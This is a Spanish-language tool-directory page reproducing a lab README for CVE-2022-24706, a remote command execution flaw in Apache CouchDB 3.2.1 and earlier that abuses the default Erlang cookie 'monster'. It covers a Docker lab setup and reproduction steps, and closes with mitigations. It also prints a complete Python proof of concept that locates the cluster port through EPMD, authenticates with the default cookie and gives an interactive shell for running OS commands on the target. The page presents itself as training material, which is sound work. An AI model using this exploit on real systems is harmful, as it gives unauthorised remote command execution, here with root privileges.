Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-24706 | Kitploit
Herramientas/GitHubGitHub/junghyeonkum/cve-2022-24706
Análisis de VulnerabilidadesExplotaciónPruebas de PenetraciónAprendizaje y EducaciónHerramienta de Acceso RemotoSeguridad de Bases de Datos
GitHubjunghyeonkum/cve-2022-24706

CVE-2022-24706

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-24706

Colaboradores

  • Escuela White Hat, 4.ª promoción, clase 39 금정현(@junghyeonkum)

Vulnerabilidad de ejecución remota de comandos en Erlang Distribution de CouchDB (CVE-2022-24706)

Resumen

Apache CouchDB es una base de datos NoSQL de tipo documento (Document-Oriented) de código abierto implementada en Erlang.

Dado que Apache CouchDB está desarrollado en Erlang, admite de forma nativa la computación distribuida (clúster). Los nodos del clúster se comunican entre sí mediante el Protocolo de Distribución de Erlang/OTP, y a través de este protocolo se pueden ejecutar comandos del sistema operativo (OS) con los privilegios del usuario que ejecuta CouchDB.

Para ejecutar comandos del sistema operativo es necesario conocer la cadena de autenticación (frase secreta) que Erlang denomina Cookie. En las versiones de CouchDB 3.2.1 e inferiores, el valor de Cookie predeterminado se establece como monster durante la instalación. Un atacante que conozca este valor puede superar la autenticación y ejecutar comandos del sistema operativo de forma remota.

Referencias:

  • https://docs.couchdb.org/en/3.2.2-docs/cve/2022-24706.html
  • https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
  • https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/misc/erlang_cookie_rce.rb
  • https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit

Requisitos del entorno

Para realizar este laboratorio se requiere el siguiente entorno:

  • Docker y Docker Compose deben estar instalados.
  • Python 3 debe estar instalado para ejecutar el PoC.

En macOS con Apple Silicon (M1/M2/M3) pueden aparecer advertencias relacionadas con la plataforma de la imagen. En la mayoría de los casos, Docker Desktop emula y ejecuta automáticamente las imágenes amd64, por lo que no se requiere ninguna acción adicional. Si el contenedor no se ejecuta correctamente, se puede añadir la opción platform: linux/amd64 al servicio couchdb en docker-compose.yml.

Si Python 3 no está instalado, se puede instalar con los siguientes comandos:

root@kitploit:~
sudo apt update
sudo apt install -y python3

Configuración del entorno

Ejecute el siguiente comando para poner en marcha el entorno Apache CouchDB 3.2.1.

root@kitploit:~
docker compose up -d

Una vez que el servicio esté en ejecución, los siguientes 3 puertos quedarán abiertos en target-ip:

  • 5984: Interfaz web de Apache CouchDB
  • 4369: Erlang Port Mapper Daemon (EPMD)
  • 9100: Puerto de comunicación del clúster y gestión en tiempo de ejecución (los comandos reales se ejecutan a través de este puerto).

En un entorno real, el puerto de la interfaz web (5984) y el puerto del servicio EPMD (4369) son fijos, pero el puerto de comunicación del clúster puede cambiar en cada ejecución. Por lo tanto, se puede acceder al servicio EPMD para averiguar el número de puerto de comunicación del clúster que se está utilizando actualmente.

Si Apache CouchDB se ejecuta correctamente, se puede consultar la información de versión en http://target-ip:5984.

Condiciones de la vulnerabilidad

Esta vulnerabilidad se produce cuando se cumplen las siguientes condiciones:

  • Debe estar ejecutándose una versión de Apache CouchDB 3.2.1 o inferior.
  • La funcionalidad Erlang Distribution debe estar activada.
  • La cookie de Erlang debe estar configurada con el valor predeterminado (monster).
  • Debe ser posible acceder al servicio Erlang Distribution (EPMD).

Procedimiento de reproducción

  1. Ejecute el siguiente comando para lanzar el entorno Apache CouchDB vulnerable.
root@kitploit:~
docker compose up -d
  1. Con el servicio EPMD (4369) en ejecución, ejecute el siguiente comando para realizar el PoC.
root@kitploit:~
python3 poc.py target-ip 4369
  1. El PoC consulta al servicio EPMD el número de puerto de comunicación del clúster en uso y, a continuación, realiza la autenticación del protocolo Erlang Distribution utilizando la cookie predeterminada (monster).

  2. Una vez completada la autenticación, se puede introducir el comando de sistema operativo deseado para comprobar si se produce la ejecución remota de comandos.

Código PoC

root@kitploit:~
#!/usr/local/bin/python3

# Python 기본 라이브러리
import socket
from hashlib import md5
import struct
import sys
import re
import time

# 대상 서버 및 기본 설정
TARGET = sys.argv[1]
EPMD_PORT = int(sys.argv[2]) # EPMD 기본 포트
COOKIE = "monster" # CouchDB 기본 Erlang Cookie 
ERLNAG_PORT = 0
EPM_NAME_CMD = b"\x00\x01\x6e" # Erlang 노드 목록 요청 패킷

# Erlang 인증 및 제어 메시지
NAME_MSG  = b"\x00\x15n\x00\x05\x00\x07\x49\x9cAAAAAA@AAAAAAA"
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
CTRL_DATA  = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"

# 사용자가 입력한 명령을 Erlang RPC 패킷으로 변환
def compile_cmd(CMD):
    MSG  = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
    MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
    MSG += struct.pack(">H", len(CMD))
    MSG += bytes(CMD, 'ascii')
    MSG += b'jw\x04user'
    PAYLOAD = b'\x70' + CTRL_DATA + MSG
    PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
    return PAYLOAD

print("Remote Command Execution via Erlang Distribution Protocol.\n")

# EPMD 서버에 접속하여 Erlang 노드 정보 획득
try:
    epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    epm_socket.connect((TARGET, EPMD_PORT))
except socket.error as msg:
    print("Couldnt connect to EPMD: %s\n terminating program" % msg)
    sys.exit(1)
    
# Erlang 노드 목록 요청
epm_socket.send(EPM_NAME_CMD) 

# 정상 응답이면 노드 정보를 가져옴
if epm_socket.recv(4) == b'\x00\x00\x11\x11': 
    data = epm_socket.recv(1024)
    data = data[0:len(data) - 1].decode('ascii')
    data = data.split("\n")
    if len(data) == 1:
        choise = 1
        print("Found " + data[0])
    else:
        print("\nMore than one node found, choose which one to use:")
        line_number = 0
        for line in data:
            line_number += 1
            print(" %d) %s" %(line_number, line))
        choise = int(input("\n> "))
        
    ERLNAG_PORT = int(re.search(r"\d+$",data[choise - 1])[0])
else:
    print("Node list request error, exiting")
    sys.exit(1)
epm_socket.close()

# Erlang 노드에 접속
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((TARGET, ERLNAG_PORT))
except socket.error as msg:
    print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
    sys.exit(1)
   
# Challenge 값 수신
s.send(NAME_MSG)
s.recv(5)
challenge = s.recv(1024)     
print(challenge)
challenge = struct.unpack(">I", challenge[9:13])[0]


# Challenge 값을 이용하여 인증 정보 생성
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
    + bytes(str(challenge), "ascii")).digest()

# 인증 요청
s.send(CHALLENGE_REPLY)
CHALLENGE_RESPONSE = s.recv(1024)

# 인증 성공 여부 확인
if len(CHALLENGE_RESPONSE) == 0:
    print("Authentication failed, exiting")
    sys.exit(1)

print("Authentication successful")
print("Enter command:\n")

data_size = 0

# 사용자 명령을 입력받아 원격 CouchDB 노드에서 실행
while True:
    if data_size <= 0:
        CMD = input("> ")
        if not CMD:
            continue
        elif CMD == "exit":
            sys.exit(0)
        s.send(compile_cmd(CMD))
        data_size = struct.unpack(">I", s.recv(4))[0] 
        s.recv(45)              
        data_size -= 45         
        time.sleep(0.1)
    elif data_size < 1024:        
        data = s.recv(data_size)
        time.sleep(0.1)
        print(data[3:].decode())
        data_size = 0
    else:        
        data = s.recv(1024)
        time.sleep(0.1)
        print(data[4:].decode())
        data_size -= 1024

Resultado de la ejecución

Como resultado de la ejecución del PoC, se puede comprobar que el puerto de comunicación del clúster se obtiene correctamente a través del servicio EPMD y que la autenticación del protocolo Erlang Distribution se completa correctamente mediante el mensaje Authentication successful.

Después, se puede ejecutar el comando whoami para comprobar que el comando se ejecuta con privilegios de root, y el comando id para consultar la información de usuario y grupo. Además, el comando touch /tmp/success crea un archivo success en el directorio /tmp del sistema de destino y, a continuación, ls /tmp permite confirmar que dicho archivo se ha creado. De este modo se puede verificar que el comando de sistema operativo introducido se ejecuta realmente en el sistema de destino.

Finalización del entorno

Cuando termine la práctica, ejecute el siguiente comando para detener los contenedores de Docker y la red.

root@kitploit:~
docker compose down

Medidas de mitigación

  1. Actualización a la última versión
    Actualice a Apache CouchDB 3.2.2 o superior para solucionar el problema del uso de la cookie Erlang predeterminada.

  2. Cambio de la cookie Erlang predeterminada
    Cambie el valor de la cookie predeterminada (monster) por un valor aleatorio difícil de adivinar para evitar la evasión de autenticación y la ejecución remota de comandos.

  3. Restricción del acceso a EPMD y al puerto de comunicación del clúster Aplique un firewall o políticas de control de acceso para que solo los hosts de confianza puedan acceder al EPMD (4369) y al puerto de comunicación del clúster.

  4. Desactivación de la funcionalidad Erlang Distribution innecesaria
    En entornos que no utilicen la funcionalidad de clúster, restrinja la funcionalidad Erlang Distribution o el acceso externo a los servicios relacionados para minimizar las posibilidades de ataque.

Descargar herramienta